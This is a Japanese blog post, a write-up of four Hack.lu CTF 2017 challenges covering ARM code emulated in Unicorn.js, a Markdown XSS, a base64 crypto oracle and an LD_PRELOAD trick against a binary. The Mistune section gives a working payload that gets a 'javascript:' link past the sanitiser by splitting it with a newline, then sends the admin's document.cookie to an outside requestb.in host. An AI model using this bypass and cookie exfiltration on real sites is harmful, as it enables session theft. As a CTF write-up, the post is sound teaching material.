st98 の日記帳


[ctf] Hack.lu CTF 2017 の write-up

チーム Harekaze で Hack.lu CTF 2017 に参加しました。最終的にチームで 1160 点を獲得し、順位は得点 241 チーム中 65 位でした。うち、私は 4 問を解いて 603 点を入れました。

以下、解いた問題の write-up です。

[Web/Rev 100+64] Triangle

与えられた URL にアクセスするとフラグの入力フォームが表示されました。ソースを確認してみましょう。

<!DOCTYPE html>
<html>
<head>
	<title>Triangle</title>
	<link href="main.css" rel="stylesheet">
</head>
<body>
	<div class="topleft">
		<img id="eye" src=eye.png>
	</div>
	<div class="topright">
		<img id="frei" src=frei.png>
	</div>
	<div class="bottomcenter">
		<img id="templar" src=templar.png>
	</div>
	<div class="middle">
		flag{
		<input id="password" type="text" name="Password">
		}
		<br>
		<button onclick="login()">Login</button>
	</div>
</body>
</html>

<script src="unicorn.js"></script>
<script src="util.js"></script>
<script src="secret.js"></script>


<script>

// toDataURL firefox vs chrome >:O
if(navigator.userAgent.toLowerCase().indexOf('firefox') > -1){
    var o1 =  [220, 8, 440, 642, 5, 189, 440, 642, 24, 249, 440, 642, 8, 300, 440, 280, 8, 1, 440, 280, 8, 219, 440, 280, 8, 162, 178, 60, 8, 517, 857, 60, 485, 517, 53, 497, 295, 219, 79, 497, 8, 8, 130, 280, 8, 8, 8, 5, 36, 517, 460, 497, 25, 8, 15, 642, 485, 8, 8, 6, 295, 8, 19, 497, 295, 189, 900, 497, 295, 300, 72, 497, 36, 8, 40, 642, 484, 131, 131, 520, 295, 1, 440, 280, 8, 8, 440, 280, 8, 189, 440, 280, 8, 162, 440, 280, 8, 249, 440, 280, 8, 300, 440, 280, 8, 517, 440, 280, 8, 253, 440, 280, 8, 19, 440, 280, 8, 74, 440, 280, 8, 440, 440, 280, 8, 219, 440, 280] ;

    var o2 =  [24, 8, 105, 419, 80, 414, 105, 419, 5, 439, 105, 419, 8, 447, 105, 192, 8, 1, 105, 192, 8, 91, 104, 891, 70, 8, 330, 192, 70, 8, 8, 6, 64, 63, 64, 381, 25, 91, 632, 155, 25, 91, 632, 381, 70, 1, 76, 381, 8, 91, 417, 891, 70, 8, 19, 381, 70, 414, 82, 381, 70, 447, 555, 381, 176, 8, 139, 419, 220, 141, 141, 635, 8, 8, 105, 192, 8, 414, 105, 192, 8, 439, 105, 192, 8, 447, 105, 192, 8, 91, 105, 192, 8, 1, 105, 192, 8, 63, 105, 192, 8, 693, 105, 192, 8, 46, 105, 192, 8, 105, 105, 192] ;

    var o3 =  [105, 134, 235, 31, 530, 39, 39, 105, 817, 1, 53, 479, 479, 97, 479, 160, 693, 54, 479, 31, 498, 817, 479, 530, 674, 335, 597, 90, 134, 134, 134, 344] ;
}
else{
    var o1 =  [305, 8, 485, 346, 5, 394, 485, 346, 24, 460, 485, 346, 8, 172, 485, 259, 8, 1, 485, 259, 8, 177, 485, 259, 8, 112, 349, 822, 8, 372, 86, 822, 286, 372, 106, 619, 63, 177, 61, 619, 8, 8, 60, 259, 8, 8, 8, 5, 64, 372, 317, 619, 25, 8, 15, 346, 286, 8, 8, 6, 63, 8, 19, 619, 63, 394, 226, 619, 63, 172, 591, 619, 64, 8, 40, 346, 618, 148, 148, 104, 63, 1, 485, 259, 8, 8, 485, 259, 8, 394, 485, 259, 8, 112, 485, 259, 8, 460, 485, 259, 8, 172, 485, 259, 8, 372, 485, 259, 8, 526, 485, 259, 8, 19, 485, 259, 8, 217, 485, 259, 8, 485, 485, 259, 8, 177, 485, 259] ;

    var o2 =  [24, 8, 355, 223, 317, 515, 355, 223, 5, 195, 355, 223, 8, 250, 355, 379, 8, 1, 355, 379, 8, 287, 431, 100, 101, 8, 200, 379, 101, 8, 8, 6, 203, 170, 203, 268, 25, 287, 678, 199, 25, 287, 678, 268, 101, 1, 76, 268, 8, 287, 1205, 100, 101, 8, 19, 268, 101, 515, 1446, 268, 101, 250, 186, 268, 198, 8, 337, 223, 81, 50, 50, 119, 8, 8, 355, 379, 8, 515, 355, 379, 8, 195, 355, 379, 8, 250, 355, 379, 8, 287, 355, 379, 8, 1, 355, 379, 8, 170, 355, 379, 8, 184, 355, 379, 8, 617, 355, 379, 8, 355, 355, 379] ;

    var o3 =  [52, 853, 58, 31, 908, 39, 39, 52, 197, 1, 86, 786, 786, 370, 786, 79, 177, 343, 786, 31, 106, 197, 786, 908, 331, 344, 227, 491, 853, 853, 853, 496] ;
}


function login(){
	var input = document.getElementById('password').value;
	var enc = enc_pw(input);
	var pw = get_pw();
	if(test_pw(enc, pw) == 1){
		alert('Well done!');
	}
	else{
		alert('Try again ...');
	}
}


</script>

Unicorn.js を使って CPU のエミュレーションを行っているようです。unicorn.js の他に読み込まれているファイルも確認しましょう。

util.js (minify されていたものを整形)

function stoh(t) {
    return t.split("").map(function(t) {
        return t.charCodeAt(0)
    })
}

function htos(t) {
    return String.fromCharCode.apply(String, t)
}

function getBase64Image(t) {
    var e = document.getElementById(t),
        a = document.createElement("canvas");
    a.width = e.width, a.height = e.height;
    var n = a.getContext("2d");
    n.drawImage(e, 0, 0);
    var r = a.toDataURL("image/png");
    return r.replace(/^data:image\/(png|jpeg);base64,/, "")
}

secret.js (minify されていたものを整形)

function test_pw(e, _) {
    var t = stoh(atob(getBase64Image("eye"))),
        r = 4096,
        m = 8192,
        R = 12288,
        a = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
    a.reg_write_i32(uc.ARM_REG_R9, m), a.reg_write_i32(uc.ARM_REG_R10, R), a.reg_write_i32(uc.ARM_REG_R8, _.length), a.mem_map(r, 4096, uc.PROT_ALL);
    for (var o = 0; o < o1.length; o++) a.mem_write(r + o, [t[o1[o]]]);
    a.mem_map(m, 4096, uc.PROT_ALL), a.mem_write(m, stoh(_)), a.mem_map(R, 4096, uc.PROT_ALL), a.mem_write(R, stoh(e));
    var u = r,
        c = r + o1.length;
    return a.emu_start(u, c, 0, 0), a.reg_read_i32(uc.ARM_REG_R5)
}

function enc_pw(e) {
    var _ = stoh(atob(getBase64Image("frei"))),
        t = 4096,
        r = 8192,
        m = 12288,
        R = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
    R.reg_write_i32(uc.ARM_REG_R8, r), R.reg_write_i32(uc.ARM_REG_R9, m), R.reg_write_i32(uc.ARM_REG_R10, e.length), R.mem_map(t, 4096, uc.PROT_ALL);
    for (var a = 0; a < o2.length; a++) R.mem_write(t + a, [_[o2[a]]]);
    R.mem_map(r, 4096, uc.PROT_ALL), R.mem_write(r, stoh(e)), R.mem_map(m, 4096, uc.PROT_ALL);
    var o = t,
        u = t + o2.length;
    return R.emu_start(o, u, 0, 0), htos(R.mem_read(m, e.length))
}

function get_pw() {
    for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++) _ += String.fromCharCode(e[o3[t]]);
    return _
}

get_pw() の返り値は XYzaSAAX_PBssisodjsal_sSUVWZYYYb です。enc_pw()test_pw() のループ中でメモリに書き込んでいる値から実行されているコードを抽出してみると、以下のようになりました。

enc_pw: \x08\x00\xa0\xe1\x09\x10\xa0\xe1\x0a\x20\xa0\xe1\x00\x30\xa0\xe3\x00\x50\xa0\xe3\x00\x40\xd0\xe5\x01\x00\x55\xe3\x01\x00\x00\x1a\x03\x60\x03\xe2\x06\x40\x84\xe0\x06\x40\x84\xe2\x01\x50\x04\xe2\x00\x40\xc1\xe5\x01\x00\x80\xe2\x01\x10\x81\xe2\x01\x30\x83\xe2\x02\x00\x53\xe1\xf2\xff\xff\xba\x00\x00\xa0\xe3\x00\x10\xa0\xe3\x00\x20\xa0\xe3\x00\x30\xa0\xe3\x00\x40\xa0\xe3\x00\x50\xa0\xe3\x00\x60\xa0\xe3\x00\x70\xa0\xe3\x00\x90\xa0\xe3\x00\xa0\xa0\xe3  
test_pw: \x09\x00\xa0\xe1\x0a\x10\xa0\xe1\x08\x30\xa0\xe1\x00\x40\xa0\xe3\x00\x50\xa0\xe3\x00\xc0\xa0\xe3\x00\x20\xd0\xe5\x00\x60\xd1\xe5\x05\x60\x86\xe2\x01\xc0\x04\xe2\x00\x00\x5c\xe3\x00\x00\x00\x0a\x03\x60\x46\xe2\x06\x00\x52\xe1\x05\x00\x00\x1a\x01\x00\x80\xe2\x01\x10\x81\xe2\x01\x40\x84\xe2\x03\x00\x54\xe1\xf1\xff\xff\xba\x01\x50\xa0\xe3\x00\x00\xa0\xe3\x00\x10\xa0\xe3\x00\x20\xa0\xe3\x00\x30\xa0\xe3\x00\x40\xa0\xe3\x00\x60\xa0\xe3\x00\x70\xa0\xe3\x00\x80\xa0\xe3\x00\x90\xa0\xe3\x00\xa0\xa0\xe3\x00\xc0\xa0\xe3

new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM) から ARM のコードであることは分かっています。それぞれ逆アセンブルしてみましょう。

enc_pw()

0x1000:	mov	r0, r8
0x1004:	mov	r1, sb
0x1008:	mov	r2, sl
0x100c:	mov	r3, #0
0x1010:	mov	r5, #0
0x1014:	ldrb	r4, [r0]
0x1018:	cmp	r5, #1
0x101c:	bne	#0x1028
0x1020:	and	r6, r3, #3
0x1024:	add	r4, r4, r6
0x1028:	add	r4, r4, #6
0x102c:	and	r5, r4, #1
0x1030:	strb	r4, [r1]
0x1034:	add	r0, r0, #1
0x1038:	add	r1, r1, #1
0x103c:	add	r3, r3, #1
0x1040:	cmp	r3, r2
0x1044:	blt	#0x1014
0x1048:	mov	r0, #0
0x104c:	mov	r1, #0
0x1050:	mov	r2, #0
0x1054:	mov	r3, #0
0x1058:	mov	r4, #0
0x105c:	mov	r5, #0
0x1060:	mov	r6, #0
0x1064:	mov	r7, #0
0x1068:	mov	sb, #0
0x106c:	mov	sl, #0

Python で書くと大体以下のような処理になっています。

def enc_pw(s):
  res = ''
  f = 0
  for i, c in enumerate(s):
    c = ord(c)
    if f == 1:
      c += i & 3
    c += 6
    f = c & 1
    res += chr(c)
  return res

test_pw()

0x1000:	mov	r0, sb
0x1004:	mov	r1, sl
0x1008:	mov	r3, r8
0x100c:	mov	r4, #0
0x1010:	mov	r5, #0
0x1014:	mov	ip, #0
0x1018:	ldrb	r2, [r0]
0x101c:	ldrb	r6, [r1]
0x1020:	add	r6, r6, #5
0x1024:	and	ip, r4, #1
0x1028:	cmp	ip, #0
0x102c:	beq	#0x1034
0x1030:	sub	r6, r6, #3
0x1034:	cmp	r2, r6
0x1038:	bne	#0x1054
0x103c:	add	r0, r0, #1
0x1040:	add	r1, r1, #1
0x1044:	add	r4, r4, #1
0x1048:	cmp	r4, r3
0x104c:	blt	#0x1018
0x1050:	mov	r5, #1
0x1054:	mov	r0, #0
0x1058:	mov	r1, #0
0x105c:	mov	r2, #0
0x1060:	mov	r3, #0
0x1064:	mov	r4, #0
0x1068:	mov	r6, #0
0x106c:	mov	r7, #0
0x1070:	mov	r8, #0
0x1074:	mov	sb, #0
0x1078:	mov	sl, #0
0x107c:	mov	ip, #0

Python で書くと大体以下のような処理になっています。

def test_pw(s, t):
  for i, (c, d) in enumerate(zip(s, t)):
    c, d = ord(c), ord(d)
    c += 5
    if i & 1:
      c -= 3
    if c != d:
      return 0
  return 1

これでどのような判定処理を行っているかが分かりました。フラグを 1 文字ずつ総当たりで特定していきましょう。

import string

def enc_pw(s):
  res = ''
  f = 0
  for i, c in enumerate(s):
    c = ord(c)
    if f == 1:
      c += i & 3
    c += 6
    f = c & 1
    res += chr(c)
  return res

encrypted = 'XYzaSAAX_PBssisodjsal_sSUVWZYYYb'
flag = ''
for i, c in enumerate(encrypted):
  c = ord(c)
  c -= 5
  if i & 1 != 0:
    c += 3
  for d in string.printable:
    if enc_pw(flag + d)[i] == chr(c):
      flag += d
      break
  print flag

print 'flag{' + flag + '}'
$ python2 solve.py
M
MP
MPm
MPmV
MPmVH
MPmVH9
MPmVH94
MPmVH94P
MPmVH94PT
MPmVH94PTH
MPmVH94PTH7
MPmVH94PTH7h
MPmVH94PTH7hh
MPmVH94PTH7hha
MPmVH94PTH7hhaf
MPmVH94PTH7hhafg
MPmVH94PTH7hhafgY
MPmVH94PTH7hhafgYa
MPmVH94PTH7hhafgYah
MPmVH94PTH7hhafgYahY
MPmVH94PTH7hhafgYahYa
MPmVH94PTH7hhafgYahYaV
MPmVH94PTH7hhafgYahYaVf
MPmVH94PTH7hhafgYahYaVfK
MPmVH94PTH7hhafgYahYaVfKJ
MPmVH94PTH7hhafgYahYaVfKJN
MPmVH94PTH7hhafgYahYaVfKJNL
MPmVH94PTH7hhafgYahYaVfKJNLR
MPmVH94PTH7hhafgYahYaVfKJNLRN
MPmVH94PTH7hhafgYahYaVfKJNLRNQ
MPmVH94PTH7hhafgYahYaVfKJNLRNQL
MPmVH94PTH7hhafgYahYaVfKJNLRNQLZ
flag{MPmVH94PTH7hhafgYahYaVfKJNLRNQLZ}

フラグが得られました。

flag{MPmVH94PTH7hhafgYahYaVfKJNLRNQLZ}

[Web 150-18] Mistune

与えられた URL にアクセスすると Markdown を入力するフォームが表示されました。どうやら送信するとどのように表示されるかチェックできるようですが、他にも admin に Markdown を送るページがあり、その中に以下のような説明がありました。

Try to steal the cookie!

試しに [link](https://requestb.in/xxxxxxxx) のような Markdown を admin に送ってみると、問題サーバから Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 という User agent でアクセスがありました。

javascript: スキームが使えないか [link](javascript:1) を試してみましたが、これは <a href="">link</a> のようにレンダリングされました。

いろいろ試していると、以下のように改行を挟むことで javascript: スキームが使えることに気づきました。

[link](java
script:alert`1`)

これは以下のようにレンダリングされます。

<a href="java
script:alert`1`">link</a>

クリックしてみると alert が表示されました。

以下の Markdown を admin に送ると GET /xxxxxxxx?Admin=flag{92da883eb1df9d1287ff25f1a1099f29} のようなアクセスが来ました。

[link](java
script:location.href=`https://requestb.in/xxxxxxxx?`+document.cookie)
flag{92da883eb1df9d1287ff25f1a1099f29}

[Crypto 100+66] b64

以下のようなソースコードが与えられました。

#!/usr/bin/python2

from flag import flag
from base64 import b64decode
from SocketServer import ThreadingTCPServer
from sys import argv
from binascii import hexlify, unhexlify
import SocketServer
import os

N = 8
MAX_TRIES = 1024
PAD = 64

welcome = "Welcome! :-)\n"
menu = "What would you like to do:\n\t1: supply encoded input,\n\t2: tell me my secret\n> "

def gen_secret():
    return os.urandom(N)

def crypt(s1, s2):
    return "".join(map(lambda c: chr(((ord(c[0])^ord(c[1]))+PAD)%256), zip(s1,s2)))

b64chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/"
def decode(s, secret):
    enc = ""
    s = crypt(s, secret)
    
    for c in s:
        if c in b64chars:
            enc+=c

    if len(enc) % 4 == 1:
        enc = enc[:-1]

    while len(enc) % 4 != 0:
        enc+="="

    return b64decode(enc)

class B64Handler(SocketServer.BaseRequestHandler):
    def setup(self):
        self.tries = 0
        self.secret = gen_secret()

    def handle(self):
        self.request.send(welcome)
        for i in range(MAX_TRIES):
            self.request.send("Round number: {}\n{}".format(i, menu))
            if self.request.recv(2)[0] == "1":
                self.request.send("What would you like me to decode?\n> ")
                answer = self.request.recv(len(self.secret))
                decoded = decode(answer, self.secret)
                self.request.send("Alright, here is your answer: {}\n".format(decoded))

            else:
                self.request.send("Alright, what is my secret (hex encoded)?\n> ")
                answer = self.request.recv(2*len(self.secret)+1).rstrip()
                if answer==hexlify(self.secret):
                    self.request.send("Well done, here is your flag: {}\n".format(flag))
                else:
                    self.request.send("This was not what I was looking for. :-(\n")
                break

        self.request.send("Bye!\n")

def main():
    SocketServer.ThreadingTCPServer.allow_reuse_address = True
    if len(argv) < 2:
        print("Usage: {} <PORT>".format(argv[0]))
    else:
        LOCAL_PORT = int(argv[1])
        s = SocketServer.ThreadingTCPServer(("", LOCAL_PORT), B64Handler)
        try:
            s.serve_forever()
        except KeyboardInterrupt:
            print("shutting down")
            s.shutdown()
            s.socket.close()

if __name__ == "__main__":
    main()

サーバに接続するとまず os.urandom(8) で 8 バイトの secret を生成しています。メニューで 1 を選択するとクライアントに入力を求め、secret と入力を xor したものを Base64 としてデコードした文字列を返しています。メニューで 1 以外を選択するとクライアントに入力を求め、もし入力が secret と同じであればフラグを返しています。

secret と xor して Base64 デコードされた結果のビット数が一番大きくなるような入力を探せばよさそうです。

以下のスクリプトを実行するとフラグが得られました。

from pwn import *

def decode(s, t):
  s.recvuntil('> ')
  s.sendline('1')
  s.recvuntil('> ')
  s.send(t[:8])
  s.recvuntil('Alright, here is your answer: ')
  r = s.recvuntil('\nRound ')[:-7]
  if r == '':
    return r, 0
  b = bin(int(r.encode('hex'), 16))[2:]
  return r, len(b) / 6

s = remote('flatearth.fluxfingers.net', 1718)
res = 'AAAAAAAA'
a = decode(s, res)

for i in range(8):
  log.info('{} / 7'.format(i))
  for x in range(0, 256, 32):
    for y in range(0, 256, 32):
      t = res[:i] + chr(y) + chr(x) + res[i+2:]
      b = decode(s, t)
      if b[1] > a[1]:
        res = t
        a = b
        break

secret = ''.join(chr((ord(c) - 64) % 256) for c in a[0].encode('base64').strip())
secret = xor(secret, res)

log.info('secret: {}'.format(secret.encode('hex')))

s.recvuntil('> ')
s.sendline('2')
s.recvuntil('> ')
s.sendline(secret.encode('hex'))

s.interactive()
$ python solve.py
[+] Opening connection to flatearth.fluxfingers.net on port 1718: Done
[*] 0 / 7
[*] 1 / 7
[*] 2 / 7
[*] 3 / 7
[*] 4 / 7
[*] 5 / 7
[*] 6 / 7
[*] 7 / 7
[*] secret: 7b6b8636da054644
[*] Switching to interactive mode
Well done, here is your flag: flag{7h3_b35t_w4y_of_h1ding_s3cr3t5_the_w0r1d_h4s_ev3r_seen_period!}
Bye!
[*] Got EOF while reading in interactive
flag{7h3_b35t_w4y_of_h1ding_s3cr3t5_the_w0r1d_h4s_ev3r_seen_period!}

[Rev 50+91] The Maya Society

launcher というファイルが与えられました。file に投げてみましょう。

$ file ./launcher
./launcher: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=464269c36073a8820e69146b00cc8e68d1f50718, stripped

x86_64 の ELF のようです。実行してみましょう。

$ ./launcher
$ ltrace ltrace -s 1024 ./launcher
time(0)                                                                                      = 1508423959
localtime(0x7fff542e8228)                                                                    = 0x7f34f2daf560
strftime("2017-10-19", 99, "%Y-%m-%d", 0x7f34f2daf560)                                       = 10
strlen("2017-10-19")                                                                         = 10
calloc(120, 1)                                                                               = 0x7f34f44400b0
memcpy(0x7f34f44400b0, "2017-10-19", 10)                                                     = 0x7f34f44400b0
free(0x7f34f44400b0)                                                                         = <void>
snprintf("2692e4d4", 9, "%02x%02x%02x%02x", 0x26, 0x92, 0xe4, 0xd4)                          = 8
snprintf("dac63219", 9, "%02x%02x%02x%02x", 0xda, 0xc6, 0x32, 0x19)                          = 8
snprintf("1fa408cf", 9, "%02x%02x%02x%02x", 0x1f, 0xa4, 0x8, 0xcf)                           = 8
snprintf("deecac3e", 9, "%02x%02x%02x%02x", 0xde, 0xec, 0xac, 0x3e)                          = 8
snprintf("2692e4d4dac632191fa408cfdeecac3e", 33, "%s%s%s%s", "2692e4d4", "dac63219", "1fa408cf", "deecac3e") = 32
strlen("2692e4d4dac632191fa408cfdeecac3e")                                                   = 32
strlen(".fluxfingers.net")                                                                   = 16
malloc(49)                                                                                   = 0x7f34f4440130
strcat("", "2692e4d4dac632191fa408cfdeecac3e")                                               = "2692e4d4dac632191fa408cfdeecac3e"
strcat("2692e4d4dac632191fa408cfdeecac3e", ".fluxfingers.net")                               = "2692e4d4dac632191fa408cfdeecac3e.fluxfingers.net"
__res_query(0x7f34f4440130, 1, 16, 0x7fff542e71d0)                                           = 0xffffffff
+++ exited (status 1) +++

そのまま実行しても何も出力されませんが、どうやら 2692e4d4dac632191fa408cfdeecac3e.fluxfingers.net の名前解決を行っているようです。

2692e4d4dac632191fa408cfdeecac3e2017-10-19 の MD5 ハッシュです。time を差し替えて常に 1356015600 (2012 年 12 月 21 日) を返すようにしてみましょう。

$ cat time.c
int time(int t) {
  return 1356015600;
}
$ gcc -shared -fPIC -o time.so time.c
$ LD_PRELOAD=./time.so ./launcher
flag{e3a03c6f3fe91b40eaa8e71b41f0db12}

フラグが得られました。

flag{e3a03c6f3fe91b40eaa8e71b41f0db12}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳